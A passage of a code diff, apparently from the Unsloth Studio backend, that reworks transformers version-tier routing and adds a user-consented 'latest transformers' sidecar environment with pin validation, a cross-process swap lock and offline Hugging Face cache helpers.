                         "Transformers tier %s selected for %s (name overrides 530 config)",
                         override,
                         model_name,
                     )
                     return override
+                tier = _raise_tier_for_nested(cfg, "530")
                 logger.info(
-                    "Transformers tier 530 selected for %s (local config.json check)",
+                    "Transformers tier %s selected for %s (local config.json check)",
+                    tier,
                     model_name,
                 )
-                return "530"
+                return tier
             # Unknown arch: resolve the base id from config. A resolved local dir
             # recurses (config check); a Hub id uses name rules only (no network).
             resolved = _resolve_base_model(model_name)
@@ -1210,6 +1534,14 @@ def get_transformers_tier(
                             match,
                         )
                         return tier
+            static = _tier_from_config_mapping(cfg)
+            if static is not None and static != "default":
+                logger.info(
+                    "Transformers tier %s selected for %s (config mapping: model_type absent below)",
+                    static,
+                    model_name,
+                )
+                return static
             local_tc = Path(model_name) / "tokenizer_config.json"
             if _safe_is_file(local_tc) and _check_tokenizer_config_needs_v5(model_name, hf_token):
                 if not probe:
@@ -1237,6 +1569,13 @@ def get_transformers_tier(
     result = _tier_from_name(model_name)
     if result is not None:
         tier, match = result
+        # With a consented latest sidecar pinned, a name that matches a fixed
+        # tier can still carry a latest-only model_type (e.g. a newer variant
+        # reusing a family name); consult the config so an accepted upgrade
+        # actually routes to the sidecar it installed. Costs a config read only
+        # in the pinned case, keeping the pre-latest path I/O-free.
+        if latest_venv_pinned_version() is not None:
+            tier = _raise_tier_for_nested(_load_config_json(model_name, hf_token), tier)
         logger.info(
             "Transformers tier %s selected for %s (substring match: %s)",
             tier,
@@ -1247,11 +1586,13 @@ def get_transformers_tier(
 
     # --- Slow config fallbacks (network for HF IDs; authenticated with hf_token) --------
     if _check_config_needs_510(model_name, hf_token):
-        logger.info("Transformers tier 510 selected for %s (config.json check)", model_name)
-        return "510"
+        tier = _raise_tier_for_nested(_load_config_json(model_name, hf_token), "510")
+        logger.info("Transformers tier %s selected for %s (config.json check)", tier, model_name)
+        return tier
     if _check_config_needs_550(model_name, hf_token):
-        logger.info("Transformers tier 550 selected for %s (config.json check)", model_name)
-        return "550"
+        tier = _raise_tier_for_nested(_load_config_json(model_name, hf_token), "550")
+        logger.info("Transformers tier %s selected for %s (config.json check)", tier, model_name)
+        return tier
     if _check_config_needs_530(model_name, hf_token):
         # Qwen3.6 reuses Qwen3.5 config ids but needs 5.5 by name; honor a real Hub-id name
         # hint from _name_or_path before selecting 530.
@@ -1261,14 +1602,28 @@ def get_transformers_tier(
             base if isinstance(base, str) and base != model_name else None
         )
         if override is not None:
+            override = _raise_tier_for_nested(remote_cfg, override)
             logger.info(
                 "Transformers tier %s selected for %s (name overrides 530 config)",
                 override,
                 model_name,
             )
             return override
-        logger.info("Transformers tier 530 selected for %s (config.json check)", model_name)
-        return "530"
+        tier = _raise_tier_for_nested(remote_cfg, "530")
+        logger.info("Transformers tier %s selected for %s (config.json check)", tier, model_name)
+        return tier
+    # _load_config_json (not the cache-only reader) so a config served from the hub
+    # cache during a transient outage still feeds the mapping resolver.
+    remote_cfg = _load_config_json(model_name, hf_token)
+    if remote_cfg is not None:
+        static = _tier_from_config_mapping(remote_cfg)
+        if static is not None and static != "default":
+            logger.info(
+                "Transformers tier %s selected for %s (config mapping: model_type absent below)",
+                static,
+                model_name,
+            )
+            return static
     if _check_tokenizer_config_needs_v5(model_name, hf_token):
         if not probe:
             return "530"
@@ -1446,7 +1801,7 @@ def _install_to_dir(pkg: str, target_dir: str) -> bool:
             stdout = subprocess.PIPE,
             stderr = subprocess.STDOUT,
             text = True,
-            env = child_env_without_native_path_secret(),
+            env = get_hf_cache_paths().child_env(child_env_without_native_path_secret()),
             **_windows_hidden_subprocess_kwargs(),
         )
         if result.returncode == 0:
@@ -1469,7 +1824,7 @@ def _install_to_dir(pkg: str, target_dir: str) -> bool:
         stdout = subprocess.PIPE,
         stderr = subprocess.STDOUT,
         text = True,
-        env = child_env_without_native_path_secret(),
+        env = get_hf_cache_paths().child_env(child_env_without_native_path_secret()),
         **_windows_hidden_subprocess_kwargs(),
     )
     if result.returncode != 0:
@@ -1523,6 +1878,471 @@ def _ensure_venv_t5_exists() -> bool:
     return _ensure_venv_t5_550_exists()
 
 
+# --- User-consented "latest transformers" sidecar (.venv_t5_latest) --------------------------
+# Provisioned via ensure_latest_transformers_venv() after the user confirms the upgrade popup
+# (utils/transformers_latest.py); pinned in a marker file so restarts revalidate and routing auto-picks it.
+
+# PEP 440-ish release strings only (guards the pip install spec against injection).
+_LATEST_VERSION_RE = r"[0-9]+(\.[0-9]+)*((a|b|rc)[0-9]+)?(\.post[0-9]+)?(\.dev[0-9]+)?"
+
+
+def _is_valid_version_string(version: str) -> bool:
+    import re
+    return isinstance(version, str) and re.fullmatch(_LATEST_VERSION_RE, version) is not None
+
+
+# Only the sidecar recipe's own packages, as plain (optionally ==pinned) specs, may
+# come from the on-disk pin marker; anything else (URLs, extras, options) is rebuilt.
+_PIN_SPEC_RE = re.compile(r"^[A-Za-z0-9_.-]+(==[A-Za-z0-9_.+-]+)?$")
+_PIN_ALLOWED_NAMES = frozenset(
+    {
+        "transformers",
+        "huggingface_hub",
+        "huggingface-hub",
+        "hf_xet",
+        "hf-xet",
+        "tiktoken",
+        "tokenizers",
+        "safetensors",
+    }
+)
+
+
+def _is_safe_pin_spec(spec: str) -> bool:
+    if not _PIN_SPEC_RE.match(spec):
+        return False
+    name = spec.split("==", 1)[0].lower().replace("_", "-")
+    return name in {n.replace("_", "-") for n in _PIN_ALLOWED_NAMES}
+
+
+def _recover_stranded_latest_sidecar() -> None:
+    """Restore a sidecar stranded at ``.old`` by a swap whose activation rename AND its
+    rollback both failed (e.g. a lingering worker file handle on Windows blocked both).
+
+    That double failure leaves no live dir and the pin marker gone with it, so the
+    sidecar reads as unprovisioned and never self-heals. Recover only when no live dir
+    exists and no swap is in flight: the reservation is held throughout the swap, so the
+    transient live-absent window of a legitimate swap never triggers a restore."""
+    live = Path(_VENV_T5_LATEST_DIR)
+    retired = Path(_VENV_T5_LATEST_DIR + ".old")
+    try:
+        if live.exists() or not retired.is_dir() or sidecar_swap_in_progress():
+            return
+        os.rename(retired, live)
+        logger.info("Recovered .venv_t5_latest from a stranded .old after a failed swap")
+    except OSError:
+        pass
+
+
+def _latest_pin_data() -> dict | None:
+    """Parsed pin marker: {"version": str, "packages": [specs...]}, or None.
+
+    The marker is JSON; a plain version string (older/simpler writers) is tolerated and
+    expanded with the default package set.
+    """
+    _recover_stranded_latest_sidecar()
+    marker = Path(_VENV_T5_LATEST_DIR) / _LATEST_PIN_MARKER
+    try:
+        if not marker.is_file():
+            return None
+        raw = marker.read_text(encoding = "utf-8").strip()
+    except Exception:
+        return None
+    try:
+        data = json.loads(raw)
+    except ValueError:
+        data = raw
+    if isinstance(data, str):
+        if not _is_valid_version_string(data):
+            return None
+        return {"version": data, "packages": list(_venv_t5_latest_packages(data))}
+    if not isinstance(data, dict):
+        return None
+    version = data.get("version")
+    if not _is_valid_version_string(version):
+        return None
+    packages = data.get("packages")
+    if not (
+        isinstance(packages, list)
+        and packages
+        and all(isinstance(p, str) and _is_safe_pin_spec(p) for p in packages)
+    ):
+        # Malformed or unexpected specs (the pin is user-writable on disk) never
+        # reach pip: rebuild the canonical set for the pinned version instead.
+        packages = list(_venv_t5_latest_packages(version))
+    return {"version": version, "packages": packages}
+
+
+def latest_venv_pinned_version() -> str | None:
+    """Exact transformers version pinned in .venv_t5_latest's marker, or None if the
+    sidecar was never provisioned (or the marker is unreadable/invalid)."""
+    data = _latest_pin_data()
+    return data["version"] if data else None
+
+
+def _venv_t5_latest_packages(version: str, extra_packages: tuple[str, ...] = ()) -> tuple[str, ...]:
+    """Package set for the latest sidecar; mirrors the fixed .venv_t5_* sidecars.
+    *extra_packages* carries dep-compat shadows (e.g. a newer tokenizers) computed by
+    utils.transformers_latest before install."""
+    return (
+        f"transformers=={version}",
+        "huggingface_hub==1.8.0",
+        "hf_xet==1.4.2",
+        "tiktoken",
+    ) + tuple(extra_packages)
+
+
+# Single reservation for ANY .venv_t5_latest replacement (consented install or lazy repair),
+# checked by training/export starts so no worker spawns mid-swap. Backed by a lock FILE (not just
+# this flag) so a lazy repair running in a worker subprocess stays visible to the parent's route
+# checks; the in-process flag marks ownership (only the owner unlinks the file).
+_sidecar_swap_lock = threading.Lock()
+_sidecar_swap_active = False
+_sidecar_swap_token: str | None = None
+_sidecar_swap_kind: str | None = None
+# An install is minutes; a lock this old is a crashed owner, not a live swap.
+_SWAP_LOCK_STALE_SECS = 2 * 60 * 60
+
+
+def _swap_lock_path() -> Path:
+    return Path(_VENV_T5_LATEST_DIR + ".swaplock")
+
+
+def _pid_alive(pid) -> bool:
+    if not isinstance(pid, int) or pid <= 0:
+        return False
+    try:
+        import psutil
+        return psutil.pid_exists(pid)
+    except Exception:
+        pass
+    if os.name == "nt":
+        # os.kill(pid, 0) is NOT a POSIX signal-0 liveness probe on Windows: signal 0
+        # is CTRL_C_EVENT, so CPython routes it through GenerateConsoleCtrlEvent (a real
+        # Ctrl+C to that console group) rather than a harmless check. Probe via OpenProcess.
+        try:
+            import ctypes
+            from ctypes import wintypes
+
+            kernel32 = ctypes.WinDLL("kernel32", use_last_error = True)
+            kernel32.OpenProcess.argtypes = [wintypes.DWORD, wintypes.BOOL, wintypes.DWORD]
+            kernel32.OpenProcess.restype = wintypes.HANDLE
+            # PROCESS_QUERY_LIMITED_INFORMATION: minimal right, granted across integrity levels.
+            handle = kernel32.OpenProcess(0x1000, False, pid)
+            if handle:
+                kernel32.CloseHandle(handle)
+                return True
+            # ERROR_ACCESS_DENIED means the process exists but we may not query it.
+            return ctypes.get_last_error() == 5
+        except Exception:
+            return False
+    try:
+        os.kill(pid, 0)
+        return True
+    except OSError:
+        return False
+    except Exception:
+        return False
+
+
+def _swap_lock_is_stale(path: Path) -> bool:
+    """Stale when the recorded owner is provably dead: a crashed installer is reclaimed
+    at once, not after the long cutoff, so `/load`, training, export, and repair are not
+    wedged for hours after a crash. A live but slow pip install keeps its lock (its PID
+    is alive), so breaking it and racing two swaps on the same staging dirs stays
+    impossible. Only a lock whose PID can't be read (mid-write or corrupt) falls back to
+    the age cutoff, so the create-before-metadata-write window is never mistaken for dead."""
+    try:
+        age = time.time() - path.stat().st_mtime
+    except OSError:
+        return False
+    data = _read_swap_lock(path) or {}
+    pid = data.get("pid")
+    if not isinstance(pid, int) or pid <= 0:
+        return age > _SWAP_LOCK_STALE_SECS
+    return not _pid_alive(pid)
+
+
+class SidecarSwapInProgress(RuntimeError):
+    """A worker start lost the race to a .venv_t5_latest install/repair; retryable."""
+
+
+def _read_swap_lock(path: Path) -> dict | None:
+    try:
+        data = json.loads(path.read_text(encoding = "utf-8"))
+        return data if isinstance(data, dict) else {}
+    except FileNotFoundError:
+        return None
+    except OSError:
+        return {}
+    except Exception:
+        return {}
+
+
+def try_begin_sidecar_swap(kind: str = "install") -> bool:
+    """Reserve the sidecar swap window; False when one is already reserved
+    (in this process or, via the lock file, in any worker subprocess).
+    *kind* is "install" (consented route) or "repair" (lazy venv repair)."""
+    global _sidecar_swap_active, _sidecar_swap_token, _sidecar_swap_kind
+    with _sidecar_swap_lock:
+        if _sidecar_swap_active:
+            return False
+        token = f"{os.getpid()}-{time.time_ns()}"
+        path = _swap_lock_path()
+        try:
+            path.parent.mkdir(parents = True, exist_ok = True)
+        except OSError:
+            pass
+        for attempt in range(2):
+            try:
+                fd = os.open(str(path), os.O_CREAT | os.O_EXCL | os.O_WRONLY)
+                break
+            except FileExistsError:
+                if attempt or not _swap_lock_is_stale(path):
+                    return False
+                try:
+                    path.unlink()
+                except OSError:
+                    return False
+            except OSError:
+                # Lock file not creatable (odd filesystem): fall back to the process-local reservation.
+                fd = None
+                break
+        if fd is not None:
+            try:
+                with os.fdopen(fd, "w") as f:
+                    f.write(
+                        json.dumps(
+                            {"pid": os.getpid(), "at": time.time(), "token": token, "kind": kind}
+                        )
+                    )
+            except OSError:
+                pass
+        _sidecar_swap_active = True
+        _sidecar_swap_token = token
+        _sidecar_swap_kind = kind
+        return True
+
+
+def end_sidecar_swap() -> None:
+    """Release the reservation taken by :func:`try_begin_sidecar_swap`."""
+    global _sidecar_swap_active, _sidecar_swap_token, _sidecar_swap_kind
+    with _sidecar_swap_lock:
+        if _sidecar_swap_active:
+            # Only the file WE wrote is removed: if this reservation was declared
+            # stale and superseded, unlinking blindly would drop the new owner's
+            # live lock and unguard its in-flight swap.
+            path = _swap_lock_path()
+            data = _read_swap_lock(path)
+            if data is not None and data.get("token", _sidecar_swap_token) == _sidecar_swap_token:
+                try:
+                    path.unlink()
+                except OSError:
+                    pass
+        _sidecar_swap_active = False
+        _sidecar_swap_token = None
+        _sidecar_swap_kind = None
+
+
+def sidecar_swap_in_progress() -> bool:
+    """True while a .venv_t5_latest install or repair holds the reservation,
+    in this process or any other Unsloth process (lock file)."""
+    return sidecar_swap_kind() is not None
+
+
+def sidecar_swap_kind() -> str | None:
+    """The active reservation's kind ("install" / "repair"), or None when idle.
+    Lets guards that rely on the install route's own abort-on-active-worker
+    checks keep refusing for repairs, which have no such checks."""
+    with _sidecar_swap_lock:
+        if _sidecar_swap_active:
+            return _sidecar_swap_kind or "install"
+    path = _swap_lock_path()
+    try:
+        if not path.is_file() or _swap_lock_is_stale(path):
+            return None
+    except OSError:
+        return None
+    data = _read_swap_lock(path) or {}
+    kind = data.get("kind")
+    return kind if kind in ("install", "repair") else "install"
+
+
+def _stage_and_swap_latest_venv(
+    version: str,
+    packages: tuple[str, ...],
+    before_swap = None,
+) -> bool:
+    """Stage-and-swap: build the new sidecar next to the live one and swap only
+    once complete, so a failed install or marker write never destroys a
+    previously working .venv_t5_latest or its pin. Shared by the consented
+    install and the lazy repair path. *before_swap* (optional callable) runs
+    after the staging build succeeds and immediately before the live dir is
+    replaced, so callers can tear down workers only when the swap is certain;
+    if it raises, the previous sidecar is left untouched."""
+    staging = _VENV_T5_LATEST_DIR + ".staging"
+    retired = _VENV_T5_LATEST_DIR + ".old"
+    shutil.rmtree(staging, ignore_errors = True)
+    try:
+        if not _ensure_venv_dir(staging, packages, f"transformers {version} (latest)"):
+            # No exception, so the except cleanup below never runs; drop the partial dir.
+            shutil.rmtree(staging, ignore_errors = True)
+            return False
+        (Path(staging) / _LATEST_PIN_MARKER).write_text(
+            json.dumps({"version": version, "packages": list(packages)}), encoding = "utf-8"
+        )
+        if before_swap is not None:
+            before_swap()
+        shutil.rmtree(retired, ignore_errors = True)
+        if os.path.isdir(_VENV_T5_LATEST_DIR):
+            os.rename(_VENV_T5_LATEST_DIR, retired)
+        try:
+            os.rename(staging, _VENV_T5_LATEST_DIR)
+        except OSError:
+            # Restore the previous sidecar if the final swap fails.
+            if not os.path.isdir(_VENV_T5_LATEST_DIR) and os.path.isdir(retired):
+                os.rename(retired, _VENV_T5_LATEST_DIR)
+            raise
+    except Exception as exc:
+        logger.error("Could not provision transformers %s into .venv_t5_latest: %s", version, exc)
+        shutil.rmtree(staging, ignore_errors = True)
+        return False
+    shutil.rmtree(retired, ignore_errors = True)
+    # CONFIG_MAPPING_NAMES may have changed: drop the cached key set.
+    _config_mapping_cache.pop("latest", None)
+    logger.info("Provisioned .venv_t5_latest with transformers %s", version)
+    return True
+
+
+def _workers_active_for_repair() -> bool:
+    """Best-effort: any parent-visible chat/training/export worker alive. Never
+    raises; unavailable backends (worker subprocess, early startup) count idle."""
+    try:
+        from core.training import get_training_backend
+        if get_training_backend().is_training_active():
+            return True
+    except Exception:
+        pass
+    try:
+        from core.export import get_export_backend
+
+        _export = get_export_backend()
+        if _export.is_export_active():
+            return True
+        _alive = getattr(_export, "is_worker_alive", None)
+        if callable(_alive) and _alive():
+            return True
+    except Exception:
+        pass
+    try:
+        from core.inference import get_inference_backend
+
+        backend = get_inference_backend()
+        if getattr(backend, "active_model_name", None):
+            return True
+        # An in-flight load counts too: its worker spawns moments later.
+        if getattr(backend, "loading_models", None):
+            return True
+        _alive = getattr(backend, "is_worker_alive", None)
+        if callable(_alive) and _alive():
+            return True
+    except Exception:
+        pass
+    return False
+
+
+def _ensure_venv_t5_latest_exists() -> bool:
+    """Ensure .venv_t5_latest/ holds its pinned transformers version.
+
+    Never installs without a pin: an unprovisioned sidecar (no marker) returns False so
+    routing and probing behave exactly as before the feature existed. With a pin present
+    it repairs a broken dir the same way the fixed sidecars do.
+    """
+    pin = _latest_pin_data()
+    if pin is None:
+        return False
+    version = pin["version"]
+    packages = tuple(pin["packages"])
+    if _venv_dir_is_valid(_VENV_T5_LATEST_DIR, packages):
+        return True
+    if _env_offline():
+        logger.warning(
+            ".venv_t5_latest (transformers %s) is incomplete and offline mode is set; "
+            "cannot repair it.",
+            version,
+        )
+        return False
+    # Repairs are a parent-process action: a worker child's backend singletons are
+    # empty, so it cannot see live siblings that may still lazy-import from the
+    # sidecar. Fail activation in the child instead; the parent's routing
+    # self-heal (guarded below) performs the actual repair.
+    try:
+        import multiprocessing as _mp
+        if _mp.parent_process() is not None:
+            logger.warning(
+                ".venv_t5_latest is incomplete; repairs run in the parent process. "
+                "Retry after the parent repairs the sidecar."
+            )
+            return False
+    except Exception:
+        pass
+    # Same stage-and-swap as the install, under the same reservation so training/export starts
+    # (which check sidecar_swap_in_progress) wait out a lazy repair; a failed repair keeps the pin.
+    if not try_begin_sidecar_swap(kind = "repair"):
+        logger.warning(
+            "Cannot repair .venv_t5_latest: another sidecar install or repair is in progress."
+        )
+        return False
+    try:
+        # Worker check UNDER the reservation (the install route quiesces workers;
+        # a repair has none): worker starts set their active markers BEFORE
+        # rechecking the reservation, so either this check sees them and aborts,
+        # or their recheck sees this reservation and aborts -- no interleaving
+        # lets a worker spawn against a mid-swap sidecar.
+        if _workers_active_for_repair():
+            logger.warning(
+                "Cannot repair .venv_t5_latest: active chat/training/export workers "
+                "may be importing from it. Retry when they are idle."
+            )
+            return False
+        return _stage_and_swap_latest_venv(version, packages)
+    finally:
+        end_sidecar_swap()
+
+
+def ensure_latest_transformers_venv(
+    version: str,
+    extra_packages: tuple[str, ...] = (),
+    before_swap = None,
+) -> bool:
+    """Provision .venv_t5_latest/ pinned to *version* (user-consented install path).
+
+    Reuses the same --target/--no-deps installer as the fixed sidecars, then writes the pin
+    marker (version + full package set) so the venv persists across restarts and
+    :func:`latest_venv_pinned_version` / routing pick it up automatically.
+    *extra_packages* carries dep-compat shadows (see utils.transformers_latest).
+    Returns True on success.
+    """
+    if not _is_valid_version_string(version):
+        logger.error("Refusing to install invalid transformers version %r", version)
+        return False
+    if _env_offline():
+        logger.warning(
+            "Cannot install transformers %s: HF/transformers offline mode is set.", version
+        )
+        return False
+    packages = _venv_t5_latest_packages(version, extra_packages)
+    pin = _latest_pin_data()
+    if (
+        pin is not None
+        and pin["version"] == version
+        and tuple(pin["packages"]) == packages
+        and _venv_dir_is_valid(_VENV_T5_LATEST_DIR, packages)
+    ):
+        return True
+    return _stage_and_swap_latest_venv(version, packages, before_swap = before_swap)
+
+
 # --- llm-compressor-main shadow (FP8/FP4 export of newer-transformers models) ---------------------
 # Exact, reproducible pins (bump deliberately in review). Full 40-char SHA validated to FP8-quantize
 # Qwen3.5 / Gemma-4 / Llama.
@@ -1633,7 +2453,7 @@ def _ensure_venv_llmcompressor_exists() -> bool:
             stdout = subprocess.PIPE,
             stderr = subprocess.STDOUT,
             text = True,
-            env = child_env_without_native_path_secret(),
+            env = get_hf_cache_paths().child_env(child_env_without_native_path_secret()),
             **_windows_hidden_subprocess_kwargs(),
         )
         last_out = result.stdout or ""
@@ -1685,7 +2505,7 @@ def _activate_venv(venv_dir: str, label: str) -> None:
 
 def _deactivate_5x() -> None:
     """Remove all .venv_t5_*/ dirs from sys.path, purge stale modules, reimport."""
-    for d in (_VENV_T5_530_DIR, _VENV_T5_550_DIR, _VENV_T5_510_DIR):
+    for d in (_VENV_T5_530_DIR, _VENV_T5_550_DIR, _VENV_T5_510_DIR, _VENV_T5_LATEST_DIR):
         while d in sys.path:
             sys.path.remove(d)
     logger.info("Removed venv_t5 dirs from sys.path")
@@ -1719,14 +2539,25 @@ def ensure_transformers_version(model_name: str) -> None:
     if _is_lora_adapter_dir(Path(model_name)):
         resolved = _resolve_base_model(model_name)
     else:
-        resolved = model_name
+        # A remote adapter's tier is its BASE model's (see activation above).
+        resolved = _remote_lora_base(model_name) or model_name
     tier = get_transformers_tier(resolved)
     if model_name != resolved and _safe_is_file(Path(model_name) / "config.json"):
         # Gate on a real local config.json: a checkpoint carries config the base may not
         # surface, but path names alone must not upgrade a plain adapter.
         tier = _higher_tier(tier, get_transformers_tier(model_name))
 
-    if tier == "510":
+    if tier == "latest":
+        pinned = latest_venv_pinned_version()
+        if pinned is None:
+            raise RuntimeError(
+                f"Cannot activate the latest-transformers sidecar: "
+                f"no pin marker at {_VENV_T5_LATEST_DIR}"
+            )
+        target_version = pinned
+        venv_dir = _VENV_T5_LATEST_DIR
+        ensure_fn = _ensure_venv_t5_latest_exists
+    elif tier == "510":
         target_version = TRANSFORMERS_510_VERSION
         venv_dir = _VENV_T5_510_DIR
         ensure_fn = _ensure_venv_t5_510_exists
diff --git a/studio/backend/utils/upload_limits.py b/studio/backend/utils/upload_limits.py
index c21ea69af7..662af0f1dd 100644
--- a/studio/backend/utils/upload_limits.py
+++ b/studio/backend/utils/upload_limits.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Shared Studio upload/request size limits."""
+"""Shared Unsloth upload/request size limits."""
 
 from __future__ import annotations
 
@@ -14,6 +14,9 @@ MIN_UPLOAD_LIMIT_MB = 1
 MAX_UPLOAD_LIMIT_MB = 8192
 _BYTES_PER_MB = 1024 * 1024
 MULTIPART_OVERHEAD_BYTES = 10 * _BYTES_PER_MB
+STT_AUDIO_RAW_MAX_BYTES = 25 * _BYTES_PER_MB
+STT_AUDIO_B64_MAX_CHARS = ((STT_AUDIO_RAW_MAX_BYTES + 2) // 3) * 4
+STT_AUDIO_JSON_MAX_BYTES = STT_AUDIO_B64_MAX_CHARS + 64 * 1024
 
 LOCAL_SEED_UPLOAD_MAX_BYTES = 100 * _BYTES_PER_MB
 LOCAL_SEED_UPLOAD_MAX_LABEL = "100MB"
diff --git a/studio/backend/utils/utils.py b/studio/backend/utils/utils.py
index 3818253ac9..bf8348dd82 100644
--- a/studio/backend/utils/utils.py
+++ b/studio/backend/utils/utils.py
@@ -8,6 +8,7 @@ import structlog
 from loggers import get_logger
 from contextlib import contextmanager
 from pathlib import Path
+from typing import Optional
 import shutil
 import tempfile
 
@@ -15,6 +16,132 @@ import tempfile
 logger = get_logger(__name__)
 
 
+# ── Offline / HF-cache helpers ──────────────────────────────────
+# An offline load must never touch the network (a DNS-dead session hangs on hub retries);
+# these read the local HF cache the load itself uses.
+
+_HF_OFFLINE_TRUE_VALUES = frozenset({"1", "true", "yes", "on"})
+
+
+def hf_env_offline() -> bool:
+    """True when HF_HUB_OFFLINE or TRANSFORMERS_OFFLINE requests offline mode.
+
+    Also honors TRANSFORMERS_OFFLINE (hub honors only HF_HUB_OFFLINE) since users set it
+    to keep transformers loads local.
+    """
+    for var in ("HF_HUB_OFFLINE", "TRANSFORMERS_OFFLINE"):
+        if os.environ.get(var, "").strip().lower() in _HF_OFFLINE_TRUE_VALUES:
+            return True
+    return False
+
+
+def st_repo_id_candidates(model_name: str) -> list:
+    """Repo ids a Sentence-Transformers load may resolve model_name to; a slashless name
+    also resolves under the sentence-transformers/ namespace, so both are candidates."""
+    name = (model_name or "").strip().strip("/")
+    if not name:
+        return []
+    candidates = [name]
+    if "/" not in name:
+        candidates.append(f"sentence-transformers/{name}")
+    return candidates
+
+
+def _expand_path(raw: str) -> Path:
+    """Expand ~ and $VARS as huggingface_hub does, so the gate resolves the loader's dir."""
+    return Path(os.path.expandvars(os.path.expanduser(raw)))
+
+
+def _hf_cache_roots() -> list:
+    """Cache roots to search for a model's local snapshot, most-authoritative first.
+
+    The app's selected hub cache (set via /settings) is searched first: after a
+    no-restart cache switch the process env is stale, yet the loader reads the
+    selected cache via ``cache_folder=active_hf_hub_cache()``, so the snapshot
+    and offline security lookups must match where it actually loads. The env
+    precedence (SENTENCE_TRANSFORMERS_HOME, HF_HUB_CACHE, HF_HOME/hub,
+    ~/.cache/huggingface/hub) follows so a copy still in a previous cache resolves."""
+    roots: list = []
+    seen: set = set()
+
+    def _add(path) -> None:
+        if path is None:
+            return
+        expanded = _expand_path(str(path))
+        key = str(expanded)
+        if key not in seen:
+            seen.add(key)
+            roots.append(expanded)
+
+    try:
+        from utils.hf_cache_settings import get_hf_cache_paths
+        _add(get_hf_cache_paths().hub_cache)
+    except Exception:
+        pass
+
+    if st_home := os.environ.get("SENTENCE_TRANSFORMERS_HOME"):
+        _add(st_home)
+    if hub := (os.environ.get("HF_HUB_CACHE") or os.environ.get("HUGGINGFACE_HUB_CACHE")):
+        _add(hub)
+    if hf_home := os.environ.get("HF_HOME"):
+        _add(_expand_path(hf_home) / "hub")
+    if not roots:
+        _add(Path.home() / ".cache" / "huggingface" / "hub")
+    return roots
+
+
+def hf_cache_snapshot_dir(model_name: str) -> Optional[Path]:
+    """Active local snapshot dir for model_name's main revision, or None if not cached.
+    Reads refs/main then snapshots/<commit>; no network. Tries the ST alias for slashless names."""
+    try:
+        from huggingface_hub.file_download import repo_folder_name
+    except Exception:
+        repo_folder_name = None
+    for cache_root in _hf_cache_roots():
+        for repo_id in st_repo_id_candidates(model_name):
+            try:
+                if repo_folder_name is not None:
+                    folder = repo_folder_name(repo_id = repo_id, repo_type = "model")
+                else:
+                    folder = "models--" + repo_id.replace("/", "--")
+                repo_dir = cache_root / folder
+                ref = repo_dir / "refs" / "main"
+                if not ref.is_file():
+                    continue
+                commit = ref.read_text().strip()
+                if not commit:
+                    continue
+                snapshot = repo_dir / "snapshots" / commit
+                if snapshot.is_dir():
+                    return snapshot
+            except OSError:
+                continue
+    return None
+
+
+# A weight file plus a config distinguishes a real cached model from a metadata-only
+# partial cache that resolves refs/main but would fail at load time.
+_LOADABLE_WEIGHT_SUFFIXES = frozenset({".safetensors", ".bin", ".gguf", ".pt", ".pth", ".ckpt"})
+
+
+def hf_cache_snapshot_is_loadable(model_name: str) -> bool:
+    """True when model_name's snapshot is cached and loadable: a config (config.json or
+    modules.json) plus at least one weight file, not a metadata-only partial cache. No network."""
+    snapshot = hf_cache_snapshot_dir(model_name)
+    if snapshot is None:
+        return False
+    try:
+        has_config = (snapshot / "config.json").is_file() or (snapshot / "modules.json").is_file()
+        if not has_config:
+            return False
+        for path in snapshot.rglob("*"):
+            if path.suffix.lower() in _LOADABLE_WEIGHT_SUFFIXES and path.is_file():
+                return True
+    except OSError:
+        return False
+    return False
+
+
 # ── Client-safe error helpers ───────────────────────────────────
 # Never return raw exception text to clients; log server-side, return generic.
 
@@ -123,6 +250,26 @@ def without_hf_auth():
             os.environ.pop("HF_HUB_DISABLE_IMPLICIT_TOKEN", None)
 
 
+def is_hf_authentication_error(error: Exception) -> bool:
+    """Return whether an exception chain contains a definitive HF auth failure."""
+    seen: set[int] = set()
+    current: BaseException | None = error
+    while current is not None and id(current) not in seen:
+        seen.add(id(current))
+        response = getattr(current, "response", None)
+        status = getattr(response, "status_code", None)
+        try:
+            if status is not None and int(status) == 401:
+                return True
+        except (TypeError, ValueError):
+            pass
+        message = str(current).lower()
+        if "invalid user token" in message or "invalid hf token" in message:
+            return True
+        current = current.__cause__ or current.__context__
+    return False
+
+
 def format_error_message(error: Exception, model_name: str) -> str:
     """
     Format a user-friendly error message for common load issues.
diff --git a/studio/backend/utils/wheel_utils.py b/studio/backend/utils/wheel_utils.py
index 98697df83c..1b5926fd49 100644
--- a/studio/backend/utils/wheel_utils.py
+++ b/studio/backend/utils/wheel_utils.py
@@ -26,11 +26,14 @@ FLASH_ATTN_RELEASE_BASE_URL = "https://github.com/Dao-AILab/flash-attention/rele
 def has_blackwell_gpu() -> bool:
     """Return True if any visible NVIDIA GPU has compute capability >= 10.0 (Blackwell).
 
-    Dao-AILab ships no flash-attention wheels for these archs and older-arch wheels
-    fail to load, so callers use this to skip the flash-attn install path. Cached
-    for the process lifetime; tests mocking nvidia-smi must call
+    Cached for the process lifetime; tests mocking nvidia-smi must call
     ``has_blackwell_gpu.cache_clear()`` first.
     """
+    # Detection disabled for now: Dao-AILab ships Blackwell (sm_100+) flash-attn
+    # wheels and url_exists() already gates resolution, so we no longer skip
+    # flash-attn on Blackwell. The nvidia-smi probe below is kept for possible
+    # future arch-based gating; drop this early return to re-enable it.
+    return False
     exe = shutil.which("nvidia-smi")
     if not exe:
         return False
@@ -117,6 +120,19 @@ def probe_torch_wheel_env(*, timeout: int | None = None) -> dict[str, str] | Non
     return env
 
 
+# torch 2.11 has no native prebuilt wheels for flash-attn / causal-conv1d / mamba
+# yet, but their torch 2.10 CUDA wheels load and pass the projects' own test suites
+# on torch 2.11 (verified on B200: FA2 fwd/bwd, causal-conv1d, and mamba selective
+# scan all match reference). Reuse the torch 2.10 wheels on torch 2.11 so a 2.11
+# install still gets these prebuilt accelerators instead of building from source.
+_PREBUILT_WHEEL_TORCH_MM = {"2.11": "2.10"}
+
+
+def prebuilt_wheel_torch_mm(torch_mm: str) -> str:
+    """Map a torch major.minor to the one whose prebuilt accelerator wheels to use."""
+    return _PREBUILT_WHEEL_TORCH_MM.get(torch_mm, torch_mm)
+
+
 def direct_wheel_url(
     *,
     filename_prefix: str,
@@ -130,7 +146,7 @@ def direct_wheel_url(
 
     filename = (
         f"{filename_prefix}-{package_version}"
-        f"+cu{env['cuda_major']}torch{env['torch_mm']}"
+        f"+cu{env['cuda_major']}torch{prebuilt_wheel_torch_mm(env['torch_mm'])}"
